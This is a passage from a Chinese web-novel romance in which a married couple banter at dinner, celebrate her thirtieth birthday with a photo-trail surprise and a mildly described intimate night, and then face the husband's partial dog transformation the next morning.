“那时候我们就是铁哥们了,对吧,小齐?” 齐北宸抬眼笑了笑,看也不敢看唐蜜的眼神,就火速低下头吃菜。 方铭大马金刀地一坐,手一扬:“你看,哥从来不吹牛。” 吹牛是没有,死期是快到了。 裴矜在心里已经提前给方铭过起了清明,偏偏正主还毫无知觉。 “是没吹牛,就是我怎么感觉那么奇怪呢?”唐蜜放下筷子,看着方铭,“我们盘个时间线啊方哥。你和我认识多少年了你心里清楚,我和小齐哥在你和他之后认识的,你也知道我是他粉丝,想要他签名照很久了,那你一路开车送我和主任那是一个字都不提啊!” 方铭一噎,拿过茶杯喝了一口水:“哎哟,姑奶奶,你这话说的可不对。我认识小齐是不假,但我哪儿知道你喜欢他呀,对不对?” 唐蜜帮方铭继续回顾:“抽奖链接不是你发的吗?我们车上还聊了中奖的事情,当时主任也在车上,人证物证俱在,这你总赖不了吧!” 认证裴矜拿勺子划着几乎见底的清汤,一个字都不说。 大祸临头的方铭这才反应过来,唐蜜说的是哪件事,忙不迭给她奉上自己那份甜品:“我的错,唐小姐教训的是。不过,你也不能只怪我一个,你也说了主任在车上,怎么着也是个连坐,是不是?” 证人席还没坐稳多久,就被一脚踹去了被告席,唐法官的审理大戏让裴矜咋舌。 进食如吃草的齐北宸把脸闷在饭碗里闷笑,坐在他侧面的裴矜二话不说就拧了他胳膊一把。 便宜老公越看越靠不住,别以为清除了外敌就没事了。 齐北宸被拧了胳膊,轻轻“嘶”了一声,转而一把抓住桌下裴矜想撤回去的小爪子,偷偷挠挠她的手心。 酥麻的过电感觉席卷全身,裴矜差点喊出声。她侧头望去,只见齐北宸借着喝水的动作,对着她挑挑眉,口型在说“喜欢吗”。 喜欢他个大头鬼!回家再和他算账! 这边小夫妻暗流涌动,那边唐法官一跃到了被告席,亲自下场捞人。 “我可没说主任的事,主任是小齐哥老婆,是家属,那不一样。请问你是小齐哥老婆吗?”唐蜜接连祭出杀招,“方哥你啊,缺心眼,还喜欢看戏,偏偏这脑袋瓜全贡献给业务了,平时转都不转。” “哎,我看你也是可怜人,要不然怎么至今还是孤家寡人一个,还莫名其妙背个海王的帽子,宅都摘不掉?” 一刀要命也就罢了,唐门暗器刀刀淬毒,要玩命还得鞭尸。得罪谁都不能得罪信号塔,不然方铭的今天就是自己的明天。 方铭夸张地捂住胸口,做了个中枪倒地的姿势:“小唐,别说了,算我求你成不成?我反省,我道歉,我不该欺骗唐女侠,把你蒙在鼓里。” 说着他还在包里翻找了一阵子,才拿出一张券,双手恭敬地递上:“咱公司楼下咖啡店的招待券,小小心意不成敬意。” 唐蜜眉毛挑了挑,笑眯眯地接过,清了清嗓子,俨然换了一副表情:“咳,只此一次,下不为例。” 要不说有些人翻脸比翻书还快,裴矜叹为观止。 一顿饭吃得百转千回,好在出门的时候除了齐北宸荷包受损,别的事一概没有。 唐蜜搭着方铭的车回去前,还跑到裴矜旁边八卦了几句:“主任,刚刚小齐哥,我不好意思问。你们俩人在家,谁做主?” 裴矜纳闷:“你问这个干嘛?” “我怕小齐哥没有小钱钱来源,还得和你报批请示。万一吃了你的,那多不好意思。” “你不是之前收过我的钱吗?” “零食钱不一样啦,该不会其实你俩各管各的?” 唐蜜,你这张嘴有时候不说话更可爱。 裴矜扯了扯嘴角摇摇头:“你别问那么多,我没管那么严,今天是他付的,你放心吧。” 唐蜜点点头,又掏了个小盒子递给裴矜:“虽然有些迟了,祝你新婚快乐!主任,我走啦!” 这个唐蜜,真是的。 面对这份礼物,裴矜本能地不想拒绝。她把小盒子放进包包里,坐上了齐北宸的车。 驾驶员齐北宸先生已待机多时,一看到裴矜坐进来,就贴心地帮忙放包包,又系安全带。 安全带系完了,齐北宸没有第一时间拉开和裴矜的距离,他的双眸直勾勾地盯着裴矜,俩人距离不到几公分。 两天没和人形齐北宸近距离接触,裴矜有些适应不良。她轻推了下那只高温大狗:“凑那么近,热不热啊。” “不热。”齐北宸眨眨眼,又凑近了一点,“老婆,我的亲亲呢?” 死不要脸的,才独处就满脑子想着这些。 裴矜点点他近在咫尺的脸颊:“不亲,谁让你刚刚在饭店挠我手心的?” 小齐狗立马伸出爪子,掌心朝上:“那我这只小京巴给皇后娘娘挠回来就是了。” 呿,谁稀罕。 裴矜挠了个够本,才收回手。 痒痒挠到笑得眼角都挂着泪花的齐北宸可不答应了,又往裴矜身边拱:“老婆,挠也挠了,罚也罚了,是不是该……” 裴矜煞风景地接了句:“该开车回家了。” “老婆,做人要厚道,不然狗狗也是会咬人的。” 不等裴矜反应过来,齐北宸一把扣住裴矜的后脑勺直接吻了上来。 晚饭时候清甜的水果香气混合着鱼肉的味道蛮不讲理地扩散着,在短短一分钟内就充满了裴矜的口腔。 一吻完毕,齐北宸满意地舔了下嘴角,把裴矜唇上最后一点 唇釉也给啃了个干净,笑着调侃:“老婆,黑松露鱼子酱的味道真不错,下次来这家店我也要吃。” 裴矜没他那么厚脸皮,拿出唇釉打开化妆镜开始补妆。齐北宸发动引擎,俩人往家里的方向一路前行。 夜凉如水,繁星点点,无半片云朵。 裴矜找到了天空中的那颗北极星,呆呆地望着它一闪一闪的模样。 安静的车厢里传来一阵轻快的音乐声。 “You'reinsecure Don'tknowwhatfor You'returningheads Whenyouwalkthroughthedo-o-or” 那不是《WhatMakesYouBeautiful》吗? 裴矜侧过头,朦胧的月光洒在齐北宸的棱廓分明的侧脸上,他敲击着方向盘,头随着节拍律动,同步清唱着。 察觉到裴矜的视线,齐北宸特意转过头又亲了裴矜一下,才化好的唇釉又被他弄花了。 这个男人,开车都不肯好好开,搞什么啊! 裴矜没了再度补妆的想法,戳着他摇晃的脑袋,轻声骂着:“说你是狗东西,你还挺自豪是吧?小京巴要进家门得先绝育,你去不去小梅那儿走流程?” “诶嘿,老婆,小梅那儿我走那么多次,受的苦比绝育多多了。你就那么忍心断送你下半辈子的□□吗?” 脸皮厚不过齐狗,还被他吃了几口豆腐,裴矜双手环胸不说话。 齐北宸的手不知何时伸了过来,掰开她握拳的手指,放在嘴边轻啄了一口才放下,眼睛比北极星更夺目。 “裴矜,你是我见过最美的人,很高兴你不管什么时候都坚定地站在我这边,爱你。” 裴道长平静了近三十年的心湖被一颗名为齐北宸的小石子彻底搅乱。 夜幕成了最好的遮掩,烧起来的脸颊在墨色的背景下看得并不真切。 “我也高兴没有选错老公对象。”她顿了顿,声音明显低了好几个度,“……爱你。” 声如蚊蚋的两个字是最好的助力剂,车窗上倒映出笑得像喇叭花似的齐北宸,还有拼命装作看不到这朵喇叭花的育花人。 暑气消退的夜晚又悄悄升了不少温度。 小两口甜甜蜜蜜没几天,事情又有了变化。 最初是齐北宸老不见踪影,平时裴矜下班总蹲在门口给她拿拖鞋,现在她回家了齐北宸还不见人影。 裴矜一开始并没有多想,毕竟自己这位还是个演员,没准是去跑商演录综艺了呢? 让她真正感觉不对的是齐北宸的对答。 某天裴矜洗完碗,坐在沙发上看着电视,她看齐北宸又在刷平板,多嘴问了句:“你好像这两天挺忙的?” 齐北宸的手指一僵,过了好几秒才回答:“哦,最近有部综艺在接洽,是忙了一点。” 裴矜挑眉:“什么综艺啊?正好我也想看综艺了。” 齐北宸哈哈一笑拍着大腿:“哟,我给忘了,回头告诉你。” 说完一溜烟跑了。 侦查经验丰富的裴矜一个人坐在沙发上越想越不对劲。 他不会是真背着自己在搞什么小动作吧? 53. 浪漫生日宴 正主那边问不出个所以然来,裴矜第一时间启动了民间调查。 第一站是王妈,老实巴交的王妈回忆了半天只说了一句“先生好像最近一直去对面”就没了多余的情报。 想到张阿姨给的膏药,裴矜拿着新鲜的水果登门拜访,一向知不无言言无不尽的张阿姨反常地没有告诉她任何信息,只劝她不要多想。 街坊邻里路线大失败。 裴矜不甘心,转而进攻齐北宸的家人们。 发信息给佘瑰,她带着才稳定下来不久的卢烨出国旅游去了,俩人不在国内帮不上忙。 旁敲侧击问齐父齐母,什么都没问到,还被塞了一嘴狗粮,吓得裴矜不敢再吻第二遍。 亲人路线也行不通。 裴矜把最后的希望寄托在她和齐北宸共同的朋友们身上。 梅由谨是头个被访问的,不等裴矜开口,话痨科学家突突突说了一大堆裴矜听不懂的词汇,然后丢给裴矜一瓶针对只齐北宸研发的特效药,叮嘱裴矜务必监督他服用。 裴矜一个字正题没问到,逛了一圈反而领了瓶药和活回去,哭笑不得又不能不做。 一计不成,还有第二计。 午休时间,裴矜左方铭右唐蜜,夹着俩人就是审。 唐蜜摆手:“不知道哦,我不过是区区小粉丝,偶像和他老婆之间的事我怎么会知道呢?哦对了主任,我送你的小礼物拆了吗?” 裴矜摇头:“还没,怎么了?” 唐蜜震惊:“主任你也太没仪式感了吧,心疼小齐哥两秒。还好里面放的是香水,要是食物,早发霉了。” 她回家就展开香水拯救活动! 方铭站在一边看着两人互动,过了半天才悠悠开口:“主任,你心也是蛮大的。我原来以为我够心大了,你比我还厉害。” 听这口气似乎方铭知道点什么? 裴矜往方铭的方向才踏出去一步,口还没开就被后者挡了回去。 “主任,这事我觉得我不能告诉你,你那么厉害,要不回去自己推理一下?” 什么啊,张阿姨这样,方铭也这样,一个个都不告诉自己,憋都快憋死了。 不上不下的感觉持续了好几天,裴矜看齐北宸的目光变得更加凌厉。 唐蜜送的薄荷味香水全被她拿来喷在狗毛挂件上,那个自带薄荷味的男人整对着镜头搔首弄姿。 银灰色的马甲里面搭配金属袖带和黑色领带,头发往后梳,露出饱满的额头。齐北宸对着镜子还在调整衬衫,差点被镜子里的女鬼裴矜吓得原地起跳。 “老婆,你怎么走路没有声音啊?” “没什么,就看看。” 男人喜欢打扮是不正常,一个本来就喜欢打扮的男人变得更喜欢打扮是双倍的不正常。 裴矜的嘴巴蠕动了几下,最终问出口:“你……就没什么话想对我说的?” “有是有,但不到时候。”齐北宸笑眯眯地揉揉裴矜的脸,趁机偷了口香,“时间一到,自然知晓。希望你做好准备哦,老婆。” 裴矜的准备工作还没启动,她的大姨妈先报道了。 看着眼前笑得灿烂的男人,裴矜把自己最近的疑神疑鬼全归咎到了生理期头上。 怎么着都是自己老公,要收拾他有的是办法。 裴娘娘心安理得地享受起了小齐子奉上的红糖水和按摩套餐,这个生理期过得倒不怎么难受,偶尔还能抓个大狗人肉抱枕暖脚丫,调查全面停止。 生理期过后,裴矜拿出手机翻出手机日历做了个标记,她一眼看到了接下来的日子,顿时恍然大悟。 什么啊,几天后的周五不就是她三十岁生日嘛,难怪周围人一个个支支吾吾想说不敢说,齐北宸穿得那么招蜂引蝶还笑得荡漾,感情是想给她一个惊喜啊。 裴矜本人对生日没太多概念,她家喜欢过阴历而不是公历生日,以往生日也就在家和父母一起吃完长寿面就算过完了,不追求仪式感。 嫁鸡随鸡,嫁狗随狗,齐北宸骨子里刻着的浪漫基因在他上次生日就可见一斑。裴矜想到他为自己的生日忙前忙后那么多,连张阿姨也搭上线了,便不做多想,由着他去了。 时光飞逝,几天的时间转瞬即逝。 周五下午,裴矜还没下班,一条消息飞了过来。 齐北宸:老婆,今天我有事就不接你下班了,你大概什么时候回家? 终于来消息了。 裴矜嘴角微扬。 这时候就适当装下傻,配合他的演出吧。 裴矜:我今天应该没什么事,可以准时下班。 齐北宸:好的,房门钥匙带了吗? 裴矜:带了,就挂在你的小狗毛钥匙圈上。 齐北宸:行,晚些见。 不知道小齐狗准备了什么惊喜,还挺想知道的呢。 心情好,下班走路都带风。 裴矜一路顺畅回到家中,还没打开门就看到门板上挂着一个牌子,点缀着红玫瑰,上面写着“入门请小心”。 裴矜歪了歪头,插入钥匙,轻轻一转推开门。地板上到处都铺着玫瑰花,入口处还有个画着狗爪印的指示牌。 裴矜凑近一看,上面贴着一张她和齐北宸度蜜月时候的照片,俩人并排站着,中间隔了好远。照片下面有一行小字。 “第一次遇到你时,没想到会步入婚姻的殿堂。起点是室友?还是朋友?” 噗,他还好意思说,要不是他和人家外国人夫妻聊嗨了,怎么会连个像样的照片都没留下来。 裴矜顺着指示往前走来到走廊,同样有及张照片和几行小字。 照片是第一次变成泰迪犬的齐北宸用狗狗角度偷拍的,糊成了一坨,裴矜的脸几乎看不太清楚。 “好端端的怎么就我那么倒霉?还好被人美心善的老婆捡回家了,不然我得和楼下的流浪猫抢饭碗了。” 厨房、客厅沙发、走廊,到处都是齐北宸变成狗时期二人相处时齐北宸的糊脸偷拍照。 有发烧时候窝在被子里当蚕宝宝的裴矜。 “老婆发烧了,可我只是一条没用的大金毛,连喂水都做不到。老婆,你没好我不会离开你的,汪!” 有变成二哈幼崽时期,虎着张脸训斥齐北宸和卢烨的裴矜。 “老婆生气了,后果很严重。我不是故意偷小面包的,小狗狗的肚子饿不起,看在我是寿星的份上,能不能原谅我?” 还有拿着狗毛罐头一板一眼对着视频教 学做钥匙圈挂件的裴矜。 “老婆拿着我的毛做手工的样子超专注,可惜只拿到一个钥匙圈,就不能把另外那个也给我吗?老婆~” 裴矜看着那一张张照片,手轻轻拂过。 原来不知不觉,她和齐北宸已经经历了那么多。 他们现在不再是单纯的协议室友夫妻了,回过头来看经历的种种,有荒唐有无奈,更多的还是微小的甜蜜和幸福。 走到齐北宸的卧室门口站停,之前挂在狗狗齐北宸脖子上的“我是乖狗,汪!”被挂在挂钩上,旁边还画着简笔画,配文:“请进门认领你的专属乖狗吧~”。 眼角的余光扫过厨房一角没有清理完毕的奶油和蛋糕胚,裴矜心中了然。她推开门,往里踏了一步。 齐北宸的房间内只开了两盏氛围灯,幽暗的环境中能看到一个高大的男性背影。 “欢迎光临,尊敬的女士。”齐北宸穿着和薄总同款西装,打着领带,连声线性格都模仿得和剧里一模一样,“听说今天你要过生日,我特意为你准备了这一场生日宴。呵,是不是很高兴?” 薄总是上位者,语气傲慢一点是常态。但齐北宸是她老公,拿捏小齐狗一根手指头就够了。 裴矜挑起半边眉毛,伸出右手食指勾了勾:“过来。” 齐北宸还想演几下,但在那根食指的频繁示意下只能舔着脸跑过去了。 裴矜五指摊开,掌心向上,齐北宸自觉把脸往上一搁,眨巴着眼睛:“老婆,祝你生日快乐。” 乖死了。 裴矜忍不住揉揉捏捏齐北宸的脸好一阵才撒手:“谢谢你。话说好端端的,你学薄总干什么。” 齐北宸直起腰,整了下自己的衣服:“你上次在医院里看剧看得那么有滋味,难道不是因为喜欢我演的那个角色吗?你三十岁的生日就那么一次,我这个当老公的肯定要尽量满足你啊。” 被当众拆穿自己的偏好,裴矜闹了个大红脸。她手上扇着风,眼睛看着别处:“谁说我喜欢薄总了?你不要乱猜。” “不喜欢?你确定?” 齐北宸往前一步,距离裴矜极近。他弯下腰,鼻尖几乎要碰到裴矜的。 “老婆,你能再说一遍吗?” 回旋镖在外面跑了一圈,终究会扎在自己身上。 看着眼前放大的五官,裴矜咽了口唾沫,始终没能把话说出口。她双手搭在齐北宸的肩头,两只眼睛直视他:“别以为我会被同一招吓到,这招你在车里用过了,我才不怕。” “哦,是吗?老婆很棒。”齐北宸笑着拿起裴矜的一只手,在她的手背上落下一吻,“不过,我也没打算用同一招就是了。” 轻柔的吻沿着手背一点点移动到指尖,齐北宸深邃的眼睛全程注视着裴矜,仿佛要把她深深地烙在自己心上。 “老婆,看着我。” 湿热的感觉由指尖一点点扩散,顺着手臂一路往上。 毛茸茸的脑袋不止何时已来到了脖颈处,落下一点粉色。 变幻的氛围灯把两人的影子拉得很长,平行线渐渐交融在了一起。 耳边传来男人性感的喘息声,清冽的薄荷香萦绕在鼻间。 “老婆,我……可以吗?” 54. 一顿还不够 身后是冰冷的门板,身前是一只散发着热气的大狗。 裴矜的睫毛轻颤,两人呼出的热气近得彼此都能闻到。 他总是这样,进攻的时候不给人任何反应的机会,在关键时刻会停下来征求意见。 像一只怕被主人家随时丢出去,还特别做小动作的小坏狗。 裴矜嘴角微扬:“我要是说不行的话……” 齐北宸的脸一秒晴转多云,嘴巴都撅了起来。 又撒娇,都COS薄总了还那么爱演,真不怕把他塑造的角色弄崩坏。 “才怪。”裴矜来了个大转弯,顺手轻扯着齐北宸的领带,转了个弯一路后退。 身后是齐北宸那张高档奢侈的大床,裴矜微一用力把人扯到自己面前,俩人的鼻尖几乎碰到一起。 轻啄一口嘟起的小狗嘴,裴矜微微一笑。 “我又没判你死刑,那么急啊。” “老婆,玩弄狗狗的心是不对的。” “我逗我自己老公也不行?” “我是吗?” “你不是吗?还是说……” “嗯。” 话没说出口,齐北宸就挨了裴矜一记轻捶。 “死不正经的。” 小齐狗目光灼灼,眼冒绿光,像在看一块上好的五花肉。 裴矜勾着他的下巴摇了摇:“最后回答我一个问题,厨房的蛋糕是怎么回事?” 齐北宸挠挠头,吞吞吐吐道出真相:“本来想和张阿姨学做个生日蛋糕给你,但我的手才好利索,有点掌控不好力道,用力过猛做毁了。” 原来他是因为和张阿姨学做蛋糕才一直不在家,这个大笨狗。 脑袋上挨了裴矜轻轻一戳,齐北宸也不恼,抓住裴矜的手又端出B计划:“事后我有想过怎么补救。老婆大人一向勤俭持家,做坏的蛋糕胚和奶油也不好随便乱扔,所以我在想……要不要重新给老婆做个蛋糕?” “想法不错,为什么最后没付诸实际?” “怕老婆不爱吃呗。” 裴矜摇摇头:“我可没你那么挑嘴,你做的我都行。” “老婆,你这样说,我可要当真了。”齐北宸一脸坏笑,贴着她的耳朵说,“那涂满奶油的小齐狗特供款狗肉蛋糕,老婆可要细嚼慢咽,好好品尝啊。” 裴矜的淡然从容荡然无存,脸烧红一片。 目光从面前这张帅气的脸一点点下移,滑过脖子,来到起伏的胸口,往下是他劲瘦有力的马甲线,再然后是…… 裴矜咽了口唾沫,在只有两人的房间里格外响亮。 齐北宸轻笑一声,主动把她的手放在自己的衬衫扣子上。 “老婆,汪汪~” 腰被环住,两道热源亲密无间地贴合在一起。 不需要语言,也无需更多的话语,有些事自然而然地发生了。 十指相扣,柔软的床铺微微凹陷,承受着从未有过的重量。房里的空调也吹不散源源不断的热浪袭来,让人眩晕。 唇齿间的薄荷味激增,凉麻麻的感觉在舌尖,在身体,更在心上。 粗糙的薄荷叶尖一点一滴吮吻着它的主人,清凉之中带着一丝微疼感。 清冽、好闻,让人上头。辛辣的味觉里裹着一层不细品完全尝不出的甜味。 裴矜恍惚间以为看到了变成狗狗的齐北宸,也是这么又急又乖的模样,执着地抢着只属于他的那份。 男人蓬松柔软的发丝间,一只白皙的、属于女人的手似疼非疼地反复揉搓着。 两人的手心里都是汗,却没有一方愿意放开。 “裴矜,裴矜,看着我。” 仿佛在回应着眼前这个挥汗如雨的人不断的声声呼唤,床垫发出轻微的吱呀声。 “我在,老公。” 温柔又清冷的嗓音抚平了他心中的烦闷,却又同时添了一把柴。 两只相扣的手始终不愿分离。 时钟滴答,床头柜上的秒针依旧转动。 燥热的温度降低了些许,空气中漂浮着一些不属于房间主人自己的冷香味。 “老婆,还好吗?” 背后是一堵手感颇好的肉墙,缺乏锻炼的裴矜自然地往后靠了靠,随后摇摇头。 “我没事,你呢?” 齐北宸低头,在她的脖颈间亲了一下,把头放在她的肩窝里。 “我一个大男人能有什么事,就是……” “就是什么?” “想把老婆喂得更饱一点。” 裴矜侧过头,点了点男人的鼻尖:“又在说假话了,你是想趁机多吃几口吧。” “嘿嘿,老婆真聪明。”抓住裴矜的手指又亲了几口,齐北宸环得更紧了一点,“那老婆大人愿不愿意给我一个将功赎罪的机会?” 裴矜摇了摇手指:“好狗狗才有表现机会,坏狗狗可没有。” “好吧。”齐北宸叹了口气,“小齐子谨遵娘娘懿旨,诶?” 不等齐北宸反应,一抹雪白占据了他的眼帘。 裴矜坐了起来,微俯下身,垂眸看着这个不久前才成为她真正丈夫的男人。 一手撑在软弹的肉上,裴矜的手指划过齐北宸的薄唇。 “本宫还没说完,小齐子就不想听了,该罚。” 齐北宸眨着眼,抬头仰视的同时,不忘扶好主子保持微笑。 “请老婆大人责罚。” “小京巴犬齐狗,长相端正,四肢有力,我颇为喜欢。特此封为近侍,期限无限期,钦此。” 齐北宸爽朗一笑:“小京巴犬接旨。” 裴矜揉了揉他的头发:“乖宝,那现在要好好接受惩罚哦~” “啊?嘶……老婆,慢一点,别那么快。” 想她慢一点?做梦去吧。 才入窝的小狗狗不立好规矩怎么行? 裴娘娘揉着一头柔软的小狗毛,继续训狗。 不知是冷香味沾上了薄荷,还是薄荷沉淀与冷香融为了一体。 细微的声音回荡在房间里,偶尔夹杂着几句低吟。 “嗯?干嘛。” “不干嘛。” “讨厌鬼。” “喂,你……” 裴矜没想到,安静了片刻后反而更把小狗调动起来了。 折腾归折腾,自家的狗肉蛋糕味道确实独一份,还好没被别的野猫野狗叼回家。 裴矜在心里给了五星好评。 硬要说缺点就是体力太好,花招太多。一个新手司机怎么会那么多乱七八糟的? 忙了半天吃得很爽,裴矜气喘吁吁地和齐北宸交换了个位置,任由他折腾去了。 笑嘻嘻的男人,眼神奕奕,一双眼睛比星星还闪亮。 裴矜嘟囔:“不公平,怎么你没事,我累得要死。” 齐北宸弯了弯嘴角,俯身亲了口她汗湿的额头:“老婆大人身娇肉贵,这种 费力的事你吩咐一句就好,小京巴齐全程为您服务。” 哪儿是小京巴,分明是个永动机电动马达。 捏了把他全身最软的肉,裴矜边躺着享受,边问:“这些都和谁学的?” “我敏而好学,有教材就能自学成才。” “什么教材?” “男人都懂的传世宝典。” 要是连这个话都听不懂,裴矜就白白活那么久了。 裴矜红着脸不说话的样子,齐北宸看在眼里,一边继续着服务,一边在她耳边低语。 “爱你哦,老婆。遇到你,是我人生中最幸福的事。” 裴矜抚摸着他额前的碎发,学着他的样子,也在他耳边说。 “我也爱你,老公。我们要一辈子都在一起,你已经逃不掉了。” “逃不掉就逃不掉吧,你也是一样,老婆。”齐北宸坏笑着勾起嘴角,“本来还想让你多休息一下,我现在反悔了。” 话音刚落,和方才完全不同强度的席卷而来。 尽心尽责的小齐狗确实对得起近侍官封号。 裴矜的手慌乱中险些打翻氛围灯,他一把按住,放在嘴边亲吻了一下。 “老婆,别乱摸,当心受伤。” 被牵着手放在一片温暖之地,眼前摇晃的景象并未改变半分。 “很快就好,老婆。” 很快个鬼,都多久了。 裴矜压根没有回答的机会,她的声音被悉数堵在了喉咙口。 才吃上肉的小齐狗,让她连张嘴的时间都不给。 薄荷的冷冽香气在时间的推移中渐渐形成,刻入骨髓。 男人的嘴,骗人的鬼。 失去意识前的裴矜在心里给才荣升爱犬的小齐狗狠狠记上了一笔。 会折腾主子的小坏狗,绝对不能带回家,要是不小心带回来了,得好好抽几顿狗屁股。 思绪随着摇曳的氛围灯灯光飘远,裴矜不知不觉陷入了沉睡之中。 她做了一个梦。 梦里她意外遇到了一只毛茸茸的小狗。 小狗长得很漂亮,有一身手感非常好的狗毛,也很黏她,走到哪儿要跟她跟到哪儿,一旦看到裴矜和别人玩了,会叫得格外委屈。 真乖。 裴矜伸出手摸了摸蓬松柔软到不像话的狗毛,小狗抬起湿漉漉的狗狗眼,亲昵地伸出舌头,舔了舔她的手指,叫得又甜又糯,短短的狗尾巴晃成了小电风扇。 那么乖的小狗狗就该抱回家私藏起来。 裴矜是这样想的,也是这样做的。 小狗的爪子攥着裴矜的衣角,趴在她怀里软成了一滩小狗泥,随便裴矜怎么撸,不止不介意,还会发出小呼噜声。 手感真好。 裴矜爱不释手地摸了又摸……然后她就摸到了真的毛茸茸的触感。 微微睁开眼,窗外的天蒙蒙亮。挂着她和齐北宸各式各样的照片墙还是昨天的模样,裴矜模糊的记忆渐渐回笼。 她现在是名副其实的齐太太了呢。 身后的人依旧紧紧贴着她,长睫毛投下一片阴影。 睡得那么沉,尽量别打扰他。 裴矜想尽可能安静地不打扰齐北宸,她手往下,摸到了环在腰上的那只……爪子? 怎么会是爪子?难道她眼花了? 裴矜揉揉眼,定睛一看,齐北宸仍维持着人型,只是他的四肢不知为何变成了狗的样子! 55. 特殊疗法 裴矜这下彻底睡不着了,拍拍那个睡得正香的男人。 “老公,老公,你快醒醒。你又有新情况了!” 睡得正舒服的齐北宸长腿一伸,裹着裴矜就是一顿蹭:“还早老婆,再睡一会儿啊。” “真亏你还睡得着,起来!” 裴矜用力一拧他胳膊,齐北宸吃痛地撇撇嘴,不情不愿睁开眼:“怎么了,老婆?” “怎么了,你看看你的手和脚。” 齐北宸松开裴矜,睁开眼,一时间语言系统失灵。 没了禁锢的裴矜转过身一看,呵,还有大惊喜等着她。 不止齐北宸的四肢变成了狗爪子,他的头顶上还有两只毛茸茸会动的狗耳朵,背后还长着一条蓬松的狗尾巴。 要命了,他怎么每次变身都能带来一些意想不到的新变化? 周末还想甜甜蜜蜜一把的小夫妻俩睡意全无,手忙脚乱地起床,开始家庭内部紧急公关。 半人半狗的样子放出去会吓坏普通人民群众,裴矜严禁齐北宸这两天出门的同时,又给王妈打了个电话,通知她这个周末不用来了,什么时候再来等她通知。 齐北宸那边立即联系经纪人,把工作都推掉了,理由是他生病了,还在接受治疗。 其他能想到的琐事,夫妻俩都过滤了个遍,确认没有遗漏后,齐北宸拨通了梅由谨的视频电话。 周末照常努力赚钱的梅由谨起得很早,第一时间就接通了电话。 “齐哥早啊,嚯,你这是要出COS吗?头上的狗耳朵够逼真的。” “谁和你玩COS了。”齐北宸转过身让他看到狗尾巴,又伸出狗爪抓了抓,“你给我吃的什么专属特效药啊,害我变成这个鬼样子。还不如之前变成一整只狗,我勉强还能混混,现在连门都出不了。” “小梅老板,你别想装傻。”裴矜补了一刀,“我特意问过表姐和姐夫他们了,他们俩没有我老公这种情况发生,我需要你给我一个合理有效的解释。” 梅由谨闻言一愣,随即抚掌大笑:“好啊,啊呀,裴小姐你不知道,像齐哥这样的特殊案例,局部变狗说明我的特效药在起作用。只要你们加以改进,让半狗模式的齐哥一点点变回正常人的模样,那我就敢断言,他的变狗之旅能彻底结束。” 梅由谨很少说得那么笃定,裴矜满意地嗯了一声,齐北宸却忧心忡忡。 “嘴上说的容易,你说我现在这样要怎么才能变回人手还有人脚?” “诶,我上次记得给裴小姐药的时候有解释过啊。” “抱歉,你说的东西太专业,我听不懂。” “那我换个说法,荷尔蒙知道吧?” 齐北宸歪了歪头,狗耳朵一抖:“你该不会是想说……” 梅由谨比了个木仓的姿势:“对,就是你想的那样。齐哥,你别害羞,比起吃药,天然疗法对你更有效。” 齐北宸嗓音拔高:“谁害羞了?你再乱说我就现在这样冲你店里去。” “好,你没害羞。那就请裴小姐多多配合吧。” 这俩人当着她的面打什么哑谜,怎么就扯到她头上来了? 裴矜听得一脸困惑,齐北宸清了清嗓子,和梅由谨闲聊了几句后挂断了通话。 “老公,解释一下呗。”裴矜双手环胸,直觉刚刚的话题里夹带私货,只是她没听懂。 齐北宸揣着狗爪,挪了几步过来:“小梅的意思是,我的病快好了,现在半人半狗是进步的表现。只要我这次能变回人类的模样,基本后面就不会有问题了。” “这我听懂了,所以要怎么才能变回来?” “那就得有劳老婆大人帮助了。” “我?” “对,荷尔蒙嘛。”齐北宸边说边比划了一个手势,“昨天我们交流的时候,能汲取最多的荷尔蒙。” 他们哪天不交流了?不对,等下。 慢半拍的裴矜这才反应过来,抡起拳头就往狗老公身上招呼。 “你个吃肉狂魔,想什么呢。” “想治病啊,老婆。”齐北宸话也不好好说,头搁在裴矜的颈窝蹭,“你看我现在手不能提,肩不能扛,出去谋生都应聘不上的份上,可怜可怜我吧。” “去去去,就会装可怜。” 裴矜嘴上说得凶,但没真舍得把人推走。 谁让某只狗昨天和她耗到天亮的,她还能爬起来都是奇迹。 见裴矜不接话,齐北宸用两只肉垫打着节拍,唱起歌来。 “老婆~老婆是天,老婆是地,老婆是我此生的唯一~” “停,不许唱了。” 受不了肉麻攻势的裴矜捏住齐北宸的下巴,俩人再度复刻齐北宸养伤期间的操作。 狗爪没办法握东西,齐北宸大咧咧地坐在床上,一边偷香一边享受裴矜的服务。 穿件衣服要十分钟,吃个早饭要喂半小时,完了家里的家务活……哦,那倒是可以适当遛遛狗。 裴矜也不客气,张嘴就是招呼。 “去把换洗衣服抱过来。” “洗衣机开关打开。” 齐北宸吭哧吭哧跟着指示干活。 其他都好办,唯一让裴矜犯难的还是已经糊成一团的蛋糕胚和鲜奶油。大热天的丢在厨房角落里没人管,现在一闻都有味道了。 裴矜想下楼去丢,但东西实在太多还有一股酸臭味,让人难以忍受。 这个节骨眼上,齐北宸主动请缨。 “别担心老婆,你看我的手。” 齐北宸伸出狗爪晃了晃,虽然还是狗爪的样子,但已经有了抓握的能力,大小也渐渐往正常人类男性的方向在变化骨骼。 难道梅由谨说的都是真的? 裴矜越想越觉得这个世界太玄幻了,可眼见为实。既然有效,还是有继续下去的必要,她就暂时忍上黏糊糊的小齐狗几天吧。 翻出宽大的衣服穿戴好,确保狗狗部分看不出来,齐北宸戴上手套,抱着一大叠东西就下去了。 齐北宸离开不到几分钟,倾盆大雨不由分说地倒了下来。 他不会有事吧? 裴矜焦急地下楼,她才走到楼梯口,被狂风暴雨弄得像水里捞出来的齐北宸正好走了回来。 “老婆,你怎么下来了。” “外面下大雨,我担心你。” 齐北宸嘿嘿一笑:“没事,淋点雨而已,小问题。” “你知不知道自己现在什么情况,还小问题呢。快回家了。” 两人回到家,裴矜帮忙准备他的换洗衣服。 齐北宸的头发丝都在滴水,他站在浴室里,两只眼睛一眨不眨地盯着裴矜。 “老婆,我想洗个热水澡。” “我这不是在准备吗?” 齐北宸又喊了一声,裴矜皱眉走近:“又怎么了?” “我这样,行动比较困难。” < p>“所以……” 齐北宸贴在裴矜耳边嘀咕了一句,后者脸色爆红。 “去你的,什么鸳鸯不鸳鸯的!” “老婆,你现在可是我唯一的良药嘛。”齐北宸厚着脸皮继续撒娇,“要是你都弃我于不顾了,我这要不到饭的流浪小狗就真的死翘翘了。” “呸呸呸,不许乱说。” 脸红归脸红,裴矜眼角的余光又瞥了眼齐北宸的手。 “只能一次哦。” 齐北宸喜笑颜开:“谢谢老婆。” 裴矜一记白眼丢过去:“我又不是为了你,我是为了节约用水!” 